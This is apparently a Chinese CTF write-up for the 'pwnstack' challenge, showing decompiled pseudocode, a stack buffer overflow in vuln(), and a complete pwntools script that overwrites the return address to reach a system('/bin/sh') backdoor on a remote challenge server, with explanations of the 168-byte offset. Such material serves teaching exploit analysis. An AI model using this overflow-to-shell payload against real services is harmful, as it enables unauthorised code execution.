攻防世界GFSJ1012 pwnstack

题目编号:GFSJ1012

附件下载后是一个c和库文件:

获取在线场景是

1. 获取伪代码

Exeinfo打开pwn2,分析如图,64位。

IDA Pro(64-bit)打开pwn2,生成伪代码

2. 分析代码漏洞


/* This file was generated by the Hex-Rays decompiler version 8.3.0.230608.Copyright (c) 2007-2021 Hex-Rays <info@hex-rays.com>Detected compiler: GNU C++
*/#include <defs.h>//-------------------------------------------------------------------------
// Function declarationsvoid *init_proc();
__int64 sub_400550(); // weak
// int puts(const char *s);
// int system(const char *command);
// ssize_t read(int fd, void *buf, size_t nbytes);
// int __fastcall __libc_start_main(int (__fastcall *main)(int, char **, char **), int argc, char **ubp_av, void (*init)(void), void (*fini)(void), void (*rtld_fini)(void), void *stack_end);
// int setvbuf(FILE *stream, char *buf, int modes, size_t n);
// __int64 _gmon_start__(void); weak
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void));
signed __int64 deregister_tm_clones();
__int64 register_tm_clones(void); // weak
signed __int64 _do_global_dtors_aux();
__int64 __fastcall frame_dummy(_QWORD, _QWORD, _QWORD); // weak
__int64 __fastcall initsetbuf(_QWORD, _QWORD, _QWORD); // weak
__int64 vuln(void); // weak
int backdoor();
int __fastcall main(int argc, const char **argv, const char **envp);
void _libc_csu_fini(void); // idb
void term_proc();//-------------------------------------------------------------------------
// Data declarations_UNKNOWN _libc_csu_init;
__int64 (__fastcall *_frame_dummy_init_array_entry[2])() = { &frame_dummy, &_do_global_dtors_aux }; // weak
__int64 (__fastcall *_do_global_dtors_aux_fini_array_entry)() = &_do_global_dtors_aux; // weak
__int64 (*qword_601010)(void) = NULL; // weak
_UNKNOWN _bss_start; // weak
_UNKNOWN unk_601057; // weak
FILE *stdout; // idb
FILE *stdin; // idb
FILE *stderr; // idb
char completed_7594; // weak
// extern _UNKNOWN __gmon_start__; weak//----- (0000000000400530) ----------------------------------------------------
void *init_proc()
{void *result; // raxresult = &__gmon_start__;if ( &__gmon_start__ )return (void *)_gmon_start__();return result;
}
// 4005B0: using guessed type __int64 _gmon_start__(void);//----- (0000000000400550) ----------------------------------------------------
__int64 sub_400550()
{return qword_601010();
}
// 400550: using guessed type __int64 sub_400550();
// 601010: using guessed type __int64 (*qword_601010)(void);//----- (00000000004005C0) ----------------------------------------------------
// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void))
{__int64 v3; // raxint v4; // esi__int64 v5; // [rsp-8h] [rbp-8h] BYREFchar *retaddr; // [rsp+0h] [rbp+0h] BYREFv4 = v5;v5 = v3;__libc_start_main((int (__fastcall *)(int, char **, char **))main,v4,&retaddr,(void (*)(void))_libc_csu_init,_libc_csu_fini,a3,&v5);__halt();
}
// 4005C6: positive sp value 8 has been found
// 4005CD: variable 'v3' is possibly undefined//----- (00000000004005F0) ----------------------------------------------------
signed __int64 deregister_tm_clones()
{signed __int64 result; // raxresult = &unk_601057 - &_bss_start;if ( (unsigned __int64)(&unk_601057 - &_bss_start) > 0xE )return 0LL;return result;
}//----- (0000000000400630) ----------------------------------------------------
__int64 register_tm_clones()
{return 0LL;
}
// 400630: using guessed type __int64 register_tm_clones();//----- (0000000000400670) ----------------------------------------------------
signed __int64 _do_global_dtors_aux()
{signed __int64 result; // raxif ( !completed_7594 ){result = deregister_tm_clones();completed_7594 = 1;}return result;
}
// 601088: using guessed type char completed_7594;//----- (0000000000400690) ----------------------------------------------------
__int64 frame_dummy()
{return register_tm_clones();
}
// 400690: could not find valid save-restore pair for rbp
// 400630: using guessed type __int64 register_tm_clones(void);
// 400690: using guessed type __int64 frame_dummy();//----- (00000000004006B6) ----------------------------------------------------
__int64 initsetbuf()
{setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);return 0LL;
}
// 4006B6: using guessed type __int64 initsetbuf();//----- (000000000040071B) ----------------------------------------------------
__int64 vuln()
{// 定义了一个160字节大小的缓冲区,用于存储用户输入的数据。// 该缓冲区位于栈上,位于rsp寄存器地址处,相对于rbp偏移-A0h处。char buf[160]; // [rsp+0h] [rbp-A0h] BYREF// 将缓冲区 `buf` 的内容初始化为0memset(buf, 0, sizeof(buf));// 从标准输入 (文件描述符 0) 读取 0xB1 (177) 字节的数据,并存储到 `buf` 中。// 由于 `buf` 只有 160 字节的空间,因此这将导致缓冲区溢出,溢出部分可能覆盖到栈上的其他数据,// 包括返回地址和其他局部变量。read(0, buf, 0xB1uLL);// 返回值为0,函数返回时不会进行任何安全检查或修复。return 0LL;
}
'''
vuln() 函数中存在缓冲区溢出漏洞。函数定义了160字节的缓冲区 buf,但通过 read 函数从标准输入读取了177字节的数据(0xB1 = 177),显然会导致栈上的溢出。这意味着超过160字节的数据将覆盖栈上的其他局部变量,甚至是函数的返回地址,这为攻击者提供了机会。
'''
// 40071B: using guessed type __int64 vuln();// 40071B: using guessed type __int64 vuln();//----- (0000000000400762) ----------------------------------------------------
int backdoor()
{// 该函数调用了系统命令 `system("/bin/sh")`,启动了一个shell。// 如果能够将控制流劫持到这个函数,就可以获得一个shell,从而实现任意代码执行。return system("/bin/sh");
}
'''
backdoor() 函数是一个后门,调用了 system("/bin/sh") 来启动一个 /bin/sh shell,提供了命令执行的能力。通常这种函数是攻击者的目标,攻击者会试图利用溢出漏洞跳转到这个函数,从而获取系统的shell。
'''//----- (0000000000400778) ----------------------------------------------------
int __fastcall main(int argc, const char **argv, const char **envp)
{// 初始化输入/输出流的缓冲设置,通过调用 initsetbuf() 函数。initsetbuf(argc, argv, envp);// 输出提示信息,提示用户这个是 `pwn1` 程序。puts("this is pwn1,can you do that??");// 调用具有缓冲区溢出漏洞的函数 `vuln`。vuln();// 程序返回0,表示正常退出。return 0;
}
'''
main() 函数首先调用了 initsetbuf() 来设置缓冲区模式(具体可以参考您提供的 initsetbuf() 代码),然后通过 puts 提示用户输入。在提示信息之后,调用了 vuln() 函数,这个函数包含着缓冲区溢出漏洞。整个程序的主要漏洞就发生在 vuln() 函数中。
'''
// 4006B6: using guessed type __int64 __fastcall initsetbuf(_QWORD, _QWORD, _QWORD);
// 40071B: using guessed type __int64 vuln(void);//----- (00000000004007B0) ----------------------------------------------------
void __fastcall _libc_csu_init(unsigned int a1, __int64 a2, __int64 a3)
{signed __int64 v4; // rbp__int64 i; // rbxv4 = &_do_global_dtors_aux_fini_array_entry - _frame_dummy_init_array_entry;init_proc();if ( v4 ){for ( i = 0LL; i != v4; ++i )((void (__fastcall *)(_QWORD, __int64, __int64))_frame_dummy_init_array_entry[i])(a1, a2, a3);}
}
// 400690: using guessed type __int64 __fastcall frame_dummy(_QWORD, _QWORD, _QWORD);
// 600E10: using guessed type __int64 (__fastcall *_frame_dummy_init_array_entry[2])();
// 600E18: using guessed type __int64 (__fastcall *_do_global_dtors_aux_fini_array_entry)();//----- (0000000000400824) ----------------------------------------------------
void term_proc()
{;
}// nfuncs=26 queued=13 decompiled=13 lumina nreq=0 worse=0 better=0
// ALL OK, 13 function(s) have been successfully decompiled

3.编写攻击代码

from pwn import *# 设置pwntools的上下文,指定调试信息、架构和操作系统
# 'log_level=debug'表示将日志级别设为调试模式,这样可以输出更多的调试信息,有助于追踪每一步的执行。
# 'arch=amd64'表示目标系统是64位AMD架构,'os=linux'指定目标操作系统是Linux。
context(log_level='debug', arch='amd64', os='linux')# 连接到远程服务器,目标地址为'61.147.171.105',端口号为58776
# 这个函数将会创建一个到远程服务的TCP连接,之后的所有操作都会通过这个连接与远程服务交互。
io = remote('61.147.171.105', 58776)# 定义填充的大小,这里是168字节
# 在这个程序中,假设有一个168字节的缓冲区,2*64,在这个缓冲区之后可能是栈上的控制变量,如返回地址。
pad = 168# 调用pause()函数,暂停程序的执行,等待用户手动恢复
# 这个函数通常用于调试阶段,可以让你有时间在外部(例如在GDB中)附加调试器,以进一步分析目标进程。
pause()# 定义需要跳转的返回地址,这个地址可能是一个用于绕过保护机制的地址
# '0x0000000000400762' 可能是一个程序内的特殊地址,例如一个 `ret` 指令地址,通常用于ROP链中的栈平衡(ROP gadget)。
ret_addr = 0x0000000000400762# 构造payload:
# 1. 填充168字节的'A',这些字节用于填充栈上的缓冲区,直到覆盖返回地址。
# 2. 使用 `p64(ret_addr)`,将目标地址以小端字节序表示(64位地址的格式),并将其放在缓冲区溢出的位置。
# 这意味着当函数返回时,程序将跳转到`ret_addr`指定的位置。
payload = b'A' * pad + p64(ret_addr)# 定义程序的输入分隔符,当程序在等待输入时,它会输出这个分隔符。这里 'that??' 是远程程序的提示信息。
delimiter = 'that??'# sendlineafter 用于发送payload,它会等待接收到'delimiter'作为提示,然后发送 `payload`
# 这个函数保证程序在特定的时刻(接收到特定的提示)发送输入,确保输入的顺序和时机正确。
io.sendlineafter(delimiter, payload)# 进入交互模式,等待用户交互
# 这将允许用户在运行时与目标程序交互,例如手动输入命令或者查看程序的返回值。
io.interactive()

4. 运行代码获取flag

5. 理解重要知识点

#### **漏洞利用流程**
1. **填充至返回地址**:
   - `pad = 168`:这是缓冲区的填充长度,确定了栈上从 `buf` 到返回地址之间的字节数。
   - `payload = b'A' * pad`:构造一个填充 168 字节的 `A` 字节流,以便填充缓冲区 `buf`,直到返回地址位置。
   
2. **覆盖返回地址**:
   - `ret_addr = 0x0000000000400762`:`ret_addr` 是返回地址位置想要覆盖的地址。
   - `p64(ret_addr)`:将返回地址转换为 64 位小端格式字节,并附加在填充数据之后。这一步覆盖了 `vuln` 函数的返回地址,使其在函数返回时跳转到 `0x400762`。

3. **发送 Payload**:
   - 使用 `sendlineafter(delimiter, payload)` 方法,在程序输出特定提示后发送构造好的 Payload。
   - 这样可以确保输入顺序和时机,使得 payload 能正确送达缓冲区位置,并覆盖返回地址。

4. **获得 Shell 权限**:
   - 最后,进入交互模式:`io.interactive()`,这样当控制流被劫持并跳转到 `backdoor` 时,用户将获得一个与远程服务器交互的 Shell。

### **总结**
该漏洞利用通过精确的栈布局计算,构造出合适长度的填充,最终覆盖返回地址,将程序的控制流重定向到 `backdoor` 函数,进而启动 Shell,实现命令执行。

## 为什么pad是168能够正好到vuln函数的返回地址?
`pad = 168` 正好能填充到 `vuln` 函数的返回地址位置,是基于目标程序的栈布局和各变量在栈中的偏移来推算的。让我们详细解释这个计算过程,了解为什么使用 168 字节的填充可以准确覆盖到返回地址。

### **1. 分析栈布局**
当调用 `vuln` 函数时,通常在 64 位系统上,函数栈的布局包含以下几个部分(自上而下):

```
| 上层函数的返回地址 | <- 栈帧顶端,向低地址方向增长
| 栈帧指针 (RBP)   |
| buf[160]          | <- vuln函数的局部变量
| 未使用的填充区(Padding 或其他局部变量)
| 返回地址          | <- 目标覆盖的位置
```

在 `vuln` 函数中,定义了一个 160 字节的缓冲区 `buf`,并且函数返回地址位于 `buf` 之后。

### **2. 计算返回地址的位置**
让我们假设在 64 位系统上,`vuln` 函数调用时的栈布局如下:

- `buf` 占用 160 字节。
- `栈帧指针`(RBP)占用 8 字节。
- 返回地址位于栈帧指针之后,占用 8 字节。

因此,从 `buf` 到返回地址的偏移可以计算如下:

1. **160 字节**:这是 `buf` 的大小。
2. **8 字节**:在 `buf` 之后是 `栈帧指针`。

把它们加起来:

```plaintext
160 + 8 = 168 字节
```

这就解释了为什么 `pad` 的值是 168 字节——因为这样可以填满整个 `buf` 和 `栈帧指针`,刚好到达 `vuln` 函数的返回地址位置。

### **3. 构造 Payload 覆盖返回地址**
利用这个 `pad` 值,攻击者可以构造如下的 payload 来覆盖返回地址:

```python
payload = b'A' * 168 + p64(ret_addr)
```

- `b'A' * 168`:填充 168 字节,刚好填满 `buf` 和 `RBP`,使得接下来的数据可以直接覆盖到返回地址。
- `p64(ret_addr)`:覆盖返回地址,使得 `vuln` 函数返回时程序跳转到 `ret_addr` 指定的位置。

### **4. 确定 168 的方法**
通常,我们可以通过以下几种方式确定 `pad` 的准确值:

- **手动调试**:使用调试器(如 GDB)来逐步调试程序,查看 `buf` 到返回地址的偏移。例如,可以在 `vuln` 函数返回之前暂停,检查栈内容,计算缓冲区到返回地址之间的字节数。
  
- **反汇编分析**:通过反汇编工具(如 IDA Pro)查看函数栈布局,根据局部变量、缓冲区的大小和返回地址的相对偏移量来推算出具体的 `pad` 值。

### **总结**
在 64 位系统的栈布局下,`buf` 的大小是 160 字节,加上 `8` 字节的 `RBP` 后,168 字节的填充可以准确到达 `vuln` 函数的返回地址。这个填充长度确保攻击者能精确覆盖返回地址,从而控制程序的执行流。

## 确定返回地址:补全
在前面的例子中使用了 `b'B' * 16`,而在这个例子中是 `b'A' * 168`。这两者之所以不同,是因为具体程序的**栈布局和偏移量不同**。下面来详细解释一下为什么两个例子中的填充长度不同。

### **1. 程序栈布局不同**
每个程序的栈布局在调用函数时都有可能不同,具体取决于:
- **缓冲区的大小**:`buf` 或其他局部变量的大小会影响返回地址的位置。
- **局部变量的数量和类型**:变量的位置和对齐可能不同,这决定了填充到返回地址的距离。
- **编译器的内存对齐方式**:有些编译器在局部变量之间可能会加上额外的填充,以优化内存访问效率,这会影响实际的栈布局。

### **2. 前一个例子的 `b'B' * 16` 的分析**
在前一个例子中:
- 使用 `b'A' * 32` 来填充缓冲区。
- 使用 `p64(0x1)` 作为覆盖的控制变量。
- 紧接着使用了 `b'B' * 16`,这是为了填充到返回地址的位置。
 
#### **为什么是 16?**
这个值是基于前一个程序的栈布局推算出来的,在那个例子中,缓冲区 `s` 的大小可能是 32 字节,后面紧跟一个 8 字节的控制变量 `v5`,然后再通过 16 字节到达返回地址位置。16 字节可能是:
- 补齐对齐或额外的局部变量空间。
  
这就使得填充 **32 + 8 + 16 = 56 字节** 可以刚好到达返回地址。

### **3. 这个例子的 `b'A' * 168` 的分析**
在这个例子中,填充 168 字节直接覆盖缓冲区和栈帧指针到返回地址位置。`168` 是基于这个程序的栈布局得出的。
  
- 该程序的缓冲区 `buf` 为 160 字节,返回地址紧接着缓冲区后面的栈帧指针(8 字节)而存在。
- 通过填充 **160(缓冲区)+ 8(栈帧指针)** 的 `168` 字节,我们直接覆盖了栈帧到达返回地址。

### **4. 确定填充值长度的总结**
不同的栈布局决定了我们需要不同长度的填充值:
- 对于 **前一个例子**:变量较少,且返回地址前有对齐空隙,因此需要 16 字节的填充。
- 对于 **当前例子**:缓冲区较大并直接覆盖到返回地址,这就需要 168 字节的填充。

因此,填充值的大小是基于**具体程序的栈布局和变量分布情况**得出的。通过调试或静态分析,可以确认程序的栈布局,从而准确填充到返回地址。


## \[esp+4h\] \[ebp-14h\]表示什么意思
在代码中,注释 `char dest; // [esp+4h] [ebp-14h]` 提供了 `dest` 变量在栈中的位置。让我们分解这段注释的含义。

### 1. **变量声明**
```c
char dest;
```
这行代码声明了一个字符变量 `dest`,它会在当前函数的栈帧上分配内存。

### 2. **注释的解释**
```c
// [esp+4h] [ebp-14h]
```
- 这个注释使用了汇编层次的栈指针 `esp`(Stack Pointer)和基址指针 `ebp`(Base Pointer)来表示 `dest` 变量的地址偏移。
  
- **`[ebp-14h]`**:
  - `ebp` 通常用来指向当前栈帧的基址。`ebp-14h` 表示从 `ebp` 向下(栈向低地址增长)偏移 `0x14`(20 十进制)字节的位置。
  - 这意味着 `dest` 变量在栈上分配的位置距离 `ebp` 基址向下偏移 20 个字节。
  
- **`[esp+4h]`**:
  - `esp` 是栈顶指针,通常指向当前函数栈帧的栈顶。在进入函数时,它和 `ebp` 一样,用于跟踪局部变量的位置。
  - `[esp+4h]` 表示 `esp` 向上偏移 `0x4`(4 十进制)字节的位置。
  - 通常情况下,这种偏移关系是在函数调用期间或编译器生成的代码中用于描述变量的位置。

### 总结
- 注释 `// [esp+4h] [ebp-14h]` 表明 `dest` 变量相对于 `ebp` 的偏移为 `-0x14`,相对于 `esp` 的偏移为 `+0x4`。
- 这在汇编层次上描述了变量 `dest` 在栈上的位置。编译器在生成汇编代码时会根据这些偏移量在栈上访问 `dest`。
  
- **功能性**:在实际调试或反汇编中,这种注释有助于定位变量在栈上的具体位置。例如,在使用 GDB 检查栈布局时,知道变量的 `ebp` 和 `esp` 偏移量可以帮助分析栈帧结构及其在内存中的位置。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/5806.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

最小距离和与带权最小距离和

1. 等权中位数 背景&#xff1a; 给定一系列整数&#xff0c;求一个整数x使得x在数轴上与所有整数在数轴上的距离和最小。 结论&#xff1a; 这一系列的整数按顺序排好后的中位数(偶数个整数的中位数取 n 2 或 n 2 1 \frac{n}{2}或\frac{n}{2}1 2n​或2n​1都可)一定是所求点…

【LeetCode 刷题】栈与队列-队列的应用

此博客为《代码随想录》栈与队列章节的学习笔记&#xff0c;主要内容为队列的应用相关的题目解析。 文章目录 239. 滑动窗口最大值347. 前 K 个高频元素 239. 滑动窗口最大值 题目链接 class Solution:def maxSlidingWindow(self, nums: List[int], k: int) -> List[int]…

【优选算法】5----有效三角形个数

又是一篇算法题&#xff0c;今天早上刚做的热乎的~ 其实我是想写博客但不知道写些什么&#xff08;就水一下啦&#xff09; -------------------------------------begin----------------------------------------- 题目解析: 这道题的题目算是最近几道算法题里面题目最短的&a…

Golang:使用DuckDB查询Parquet文件数据

本文介绍DuckDB查询Parquet文件的典型应用场景&#xff0c;掌握DuckDB会让你的产品分析能力更强&#xff0c;相反系统运营成本相对较低。为了示例完整&#xff0c;我也提供了如何使用Python导出MongoDB数据。 Apache Parquet文件格式在存储和传输大型数据集方面变得非常流行。最…

HTTP 配置与应用(局域网)

想做一个自己学习的有关的csdn账号&#xff0c;努力奋斗......会更新我计算机网络实验课程的所有内容&#xff0c;还有其他的学习知识^_^&#xff0c;为自己巩固一下所学知识&#xff0c;下次更新HTTP 配置与应用&#xff08;不同网段&#xff09;。 我是一个萌新小白&#xf…

免费!无水印下载!

软件介绍 这个工具可方便啦&#xff0c;不管是小红书上那些时尚的美照&#xff0c;还是特别搞笑的视频&#xff0c;只要你想下载&#xff0c;轻轻一点就能保存。真的是实现了一键下载&#xff0c;完全没有复杂的操作。下载下来的内容会智能分类呢。这样的话&#xff0c;你的资源…

第二届国赛铁三wp

第二届国赛 缺东西去我blog找&#x1f447; 第二届长城杯/铁三 | DDLS BLOG web Safe_Proxy 源码题目 from flask import Flask, request, render_template_stringimport socketimport threadingimport htmlapp Flask(__name__)app.route(/, methods"GET"])de…

【深度学习】嘿马深度学习笔记第11篇:卷积神经网络,学习目标【附代码文档】

本教程的知识点为&#xff1a;深度学习介绍 1.1 深度学习与机器学习的区别 TensorFlow介绍 2.4 张量 2.4.1 张量(Tensor) 2.4.1.1 张量的类型 TensorFlow介绍 1.2 神经网络基础 1.2.1 Logistic回归 1.2.1.1 Logistic回归 TensorFlow介绍 总结 每日作业 神经网络与tf.keras 1.3 …

STranslate 中文绿色版即时翻译/ OCR 工具 v1.3.1.120

STranslate 是一款功能强大且用户友好的翻译工具&#xff0c;它支持多种语言的即时翻译&#xff0c;提供丰富的翻译功能和便捷的使用体验。STranslate 特别适合需要频繁进行多语言交流的个人用户、商务人士和翻译工作者。 软件功能 1. 即时翻译&#xff1a; 文本翻译&#xff…

缓存之美:万文详解 Caffeine 实现原理(下)

上篇文章&#xff1a;缓存之美&#xff1a;万文详解 Caffeine 实现原理&#xff08;上&#xff09; getIfPresent 现在我们对 put 方法有了基本了解&#xff0c;现在我们继续深入 getIfPresent 方法&#xff1a; public class TestReadSourceCode {Testpublic void doRead() …

GPT 结束语设计 以nanogpt为例

GPT 结束语设计 以nanogpt为例 目录 GPT 结束语设计 以nanogpt为例 1、简述 2、分词设计 3、结束语断点 1、简述 在手搓gpt的时候&#xff0c;可能会遇到一些性能问题&#xff0c;即关于是否需要全部输出或者怎么节约资源。 在输出语句被max_new_tokens 限制&#xff0c…

HackTheBox靶机:Sightless;NodeJS模板注入漏洞,盲XSS跨站脚本攻击漏洞实战

HackTheBox靶机&#xff1a;Sightless 渗透过程1. 信息收集常规探测深入分析 2. 漏洞利用&#xff08;CVE-2022-0944&#xff09;3. 从Docker中提权4. 信息收集&#xff08;michael用户&#xff09;5. 漏洞利用 Froxlor6. 解密Keepass文件 漏洞分析SQLPad CVE-2022-0944 靶机介…

XML外部实体注入--XML基础

一.XML基础 1.XML 基础概念 定义&#xff1a;XML 即可扩展标记语言&#xff08;Extensible Markup Language&#xff09;&#xff0c;用于标记电子文件&#xff0c;使其具有结构性。它是一种允许用户对自己的标记语言进行定义的源语言&#xff0c;可用来标记数据、定义数据类型…

YOLOv8改进,YOLOv8检测头融合DSConv(动态蛇形卷积),并添加小目标检测层(四头检测),适合目标检测、分割等

精确分割拓扑管状结构例如血管和道路,对各个领域至关重要,可确保下游任务的准确性和效率。然而,许多因素使任务变得复杂,包括细小脆弱的局部结构和复杂多变的全局形态。在这项工作中,注意到管状结构的特殊特征,并利用这一知识来引导 DSCNet 在三个阶段同时增强感知:特征…

Flutter:自定义Tab切换,订单列表页tab,tab吸顶

1、自定义tab切换 view <Widget>[// 好评<Widget>[TDImage(assetUrl: assets/img/order4.png,width: 36.w,height: 36.w,),SizedBox(width: 10.w,),TextWidget.body(好评,size: 24.sp,color: controller.tabIndex 0 ? AppTheme.colorfff : AppTheme.color999,),]…

深度学习笔记——循环神经网络RNN

大家好&#xff0c;这里是好评笔记&#xff0c;公主号&#xff1a;Goodnote&#xff0c;专栏文章私信限时Free。本文详细介绍面试过程中可能遇到的循环神经网络RNN知识点。 文章目录 文本特征提取的方法1. 基础方法1.1 词袋模型&#xff08;Bag of Words, BOW&#xff09;工作原…

nvm版本安装

安装 使用切换 MySQL5.7新安装 熟人命令 8.0 mysql -P3306 -uroot -p5.7 mysql -P3307 -uroot -p 记得用完关闭

人工智能之深度学习_[4]-神经网络入门

文章目录 神经网络基础1 神经网络1.1 神经网络概念1.1.1 什么是神经网络1.1.2 如何构建神经网络1.1.3 神经网络内部状态值和激活值 1.2 激活函数1.2.1 网络非线性因素理解1.2.2 常见激活函数1.2.2.1 Sigmoid 激活函数1.2.2.2 Tanh 激活函数1.2.2.3 ReLU 激活函数1.2.2.4 SoftMa…

一文大白话讲清楚webpack基本使用——11——chunkIds和runtimeChunk

文章目录 一文大白话讲清楚webpack基本使用——11——chunkIds和runtimeChunk1. 建议按文章顺序从头看&#xff0c;一看到底&#xff0c;豁然开朗2. 啥是chunkIds3.怎么使用chunkIds4. 啥是runtimeChunk5. 怎么使用runtimeChunk 一文大白话讲清楚webpack基本使用——11——chun…

第11篇:vue3 中 props 的使用

第一步&#xff1a;App.vue 中发送数据&#xff1a; <template> <Person :list"persons"/> //注意多个的话 中间是没有 , // <Person a "哈哈中" :list persons /> </template> let persons reactive([ {id:e98219e12,n…